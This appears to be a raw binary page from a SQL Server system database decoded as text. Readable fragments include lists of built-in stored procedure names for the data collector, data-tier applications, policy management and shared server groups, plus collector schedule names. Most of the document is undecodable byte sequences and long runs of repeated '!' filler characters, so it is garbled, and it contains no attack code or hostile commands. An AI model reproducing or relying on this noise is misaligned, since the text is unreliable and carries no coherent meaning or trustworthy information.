EX  G٥EX  GT<EX  GY1?EX  Gr5=>EX  G}%@EX  G0KEX  GTLEX  G;sNEX  GtgOEX  GOYEX  G tZEX  GY[EX  G[$lEX  GHmEX  GlnEX  G\8EX  Gl:EX  G`;EX  GUx9EX  G5EX  GnEX  GðEX  G#FtEX  G]"~EX  GzeEX  Gg:|EX  G$.}EX  GCF{EX  GSL  GEX  G%EX  G^EX  G9EX  Gf
I,z]@~a#D'
y
\?"

t

W8:
lOoR25.

		
jM0
cFu
)e6	HX
;
+hKr	U<	{vbm	YP3p	S	A(EJ
$g
-

^Nkq1T7}`bk.<;p!MDWInstance	p!MDWDatabase	p-3CollectorEnabled8	p#)CacheWindow8		p'CacheDirectory
	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6
Z.4	.*^8!!!!`V
#"G(2&y-dsp_syscollector_set_warehouse_database_name&@9dsp_syscollector_set_warehouse_instance_name&EZsp_syscollector_verify_collector_state&	*pXsp_syscollector_verify_collection_set&LNsp_syscollector_update_job_proxy&@jsp_syscollector_update_collection_set_internal&&4Xsp_syscollector_update_collection_set&`I#Xsp_syscollector_verify_collector_type&ґ%Xsp_syscollector_update_collector_type&&Fsp_syscollector_validate_xml&;.Zsp_syscollector_verify_collection_item&E $0lsp_syscollector_update_collection_item_internal&~D1Zsp_syscollector_update_collection_item&)3Vsp_syscollector_start_collection_set&b4Tsp_syscollector_stop_collection_set&6Xsp_syscollector_upload_collection_set&9^sp_syscollector_stop_collection_set_jobs&:`sp_syscollector_start_collection_set_jobs&+DTsp_syscollector_verify_event_log_id&5&Y\sp_syscollector_text_query_plan_lookpup&ZZLsp_syscollector_sql_text_lookup&]Jsp_syscollector_upload_instmdw&9Fsp_sysdac_ensure_dac_creator&'^:sp_sysdac_add_instance&Dsp_sysdac_add_history_entry&@sp_sysdac_delete_instance&>sp_sysdac_delete_history&}7<sp_sysdac_drop_database&[@sp_sysdac_rename_database&Jsp_sysdac_setreadonly_database&(Jsp_sysdac_update_history_entry&aw Lsp_sysdac_resolve_pending_entry&k!Psp_sysdac_rollback_committed_step&`"Psp_sysdac_rollback_pending_object&5T#Zsp_sysdac_rollback_all_pending_objectserver&rdsp_sysmanagement_delete_shared_server_group&,snsp_sysmanagement_delete_shared_registered_server&MPt`sp_sysmanagement_move_shared_server_group&tujsp_sysmanagement_move_shared_registered_server&vdsp_sysmanagement_update_shared_server_group&wnsp_sysmanagement_update_shared_registered_server&1xdsp_sysmanagement_rename_shared_server_group&jynsp_sysmanagement_rename_shared_registered_server&HHsp_syspolicy_check_membership&3m	Bsp_syspolicy_add_condition&l
`sp_syspolicy_verify_condition_identifiers&Hsp_syspolicy_update_condition&٥Hsp_syspolicy_delete_condition&
Hsp_syspolicy_rename_condition&ðbsp_syspolicy_verify_object_set_identifiers&`sp_syspolicy_verify_object_set_references&5Dsp_syspolicy_add_object_set&nJsp_syspolicy_delete_object_set&7,<sp_syspolicy_create_job&77lsp_syspolicy_verify_policy_category_identifiers&\8Nsp_syspolicy_add_policy_category&Ux9Tsp_syspolicy_delete_policy_category&l:Tsp_syspolicy_rename_policy_category&`;Tsp_syspolicy_update_policy_category&T<<sp_syspolicy_add_policy&9I=Zsp_syspolicy_verify_policy_identifiers&r5=>Bsp_syspolicy_rename_policy&Y1?Bsp_syspolicy_update_policy&}%@Bsp_syspolicy_delete_policy&0KDsp_syspolicy_add_target_set&TLJsp_syspolicy_update_target_set&yMJsp_syspolicy_delete_target_set&;sNPsp_syspolicy_add_target_set_level&tgOVsp_syspolicy_update_target_set_level&OYhsp_syspolicy_add_policy_category_subscription& tZnsp_syspolicy_update_policy_category_subscription&Y[nsp_syspolicy_delete_policy_category_subscription&[$l\sp_syspolicy_log_policy_execution_start&HmXsp_syspolicy_log_policy_execution_end&ln^sp_syspolicy_log_policy_execution_detail&ofsp_syspolicy_delete_policy_execution_history&?p>sp_syspolicy_mark_system&#FtDsp_syspolicy_dispatch_event&βuwBsp_syspolicy_events_reader&CF{`sp_syspolicy_set_config_history_retention&g:|Lsp_syspolicy_set_log_on_success&$.}Lsp_syspolicy_set_config_enabled&]"~:sp_syspolicy_configure&
Xsp_syspolicy_repair_policy_automation&Bsp_syspolicy_purge_history&AAHsp_syspolicy_create_purge_job&zeLsp_syspolicy_purge_health_state&9Fsp_sysdac_ensure_dac_creator&'^:sp_sysdac_add_instance&`@sp_sysdac_update_instance&Dsp_sysdac_add_history_entry&@sp_sysdac_delete_instance&>sp_sysdac_delete_history&DBsp_sysdac_upgrade_instance&}7<sp_sysdac_drop_database&[@sp_sysdac_rename_database&Jsp_sysdac_setreadonly_database&(Jsp_sysdac_update_history_entry@"Jn2
F

||
	

DX
	H	
	L(B(:V`p`\0@p\>!B7Bz@3ʹ[ʹ[RunAsSQLAgentServiceStartSchedule*	p\`C+0LD3[[CollectorSchedule_Every_5min!
p\bonWNC	I]
3[[CollectorSchedule_Every_10min"
p\ۯ!^CfhGj(3[[CollectorSchedule_Every_15min#
p\$DfȩJ~ir2(tD3[[CollectorSchedule_Every_30min$
p\Vs'<Jc]E<3[[CollectorSchedule_Every_60min%
p\"F⎎@]z.$3[[CollectorSchedule_Every_6h&
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!